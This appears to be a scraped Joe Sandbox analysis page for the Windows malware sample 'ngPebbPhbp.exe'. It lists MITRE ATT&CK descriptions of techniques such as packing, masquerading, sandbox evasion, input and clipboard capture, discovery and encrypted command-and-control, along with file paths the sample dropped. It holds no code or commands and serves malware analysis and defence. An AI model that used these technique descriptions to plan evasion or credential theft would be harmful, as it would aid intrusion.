Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ngPebbPhbp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Temp\RarSFX0\anxv.ppt

C:\Users\user\AppData\Local\Temp\RarSFX0\bvtesegdgq.3gp

C:\Users\user\AppData\Local\Temp\RarSFX0\crbvulcpak.msc

C:\Users\user\AppData\Local\Temp\RarSFX0\iutol.das

C:\Users\user\AppData\Local\Temp\RarSFX0\jmfhuve.bin

C:\Users\user\AppData\Local\Temp\RarSFX0\jwphnktqhh.xl

C:\Users\user\AppData\Local\Temp\RarSFX0\ldrtopp.msc

C:\Users\user\AppData\Local\Temp\RarSFX0\ltmdgplto.3gp

C:\Users\user\AppData\Local\Temp\RarSFX0\nbmn.lmk

C:\Users\user\AppData\Local\Temp\RarSFX0\nhjdnx.3gp

C:\Users\user\AppData\Local\Temp\RarSFX0\opioxoqv.bmp

C:\Users\user\AppData\Local\Temp\RarSFX0\qbjid.xls

C:\Users\user\AppData\Local\Temp\RarSFX0\qlgigdt.xls

Windows Analysis Report
ngPebbPhbp.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre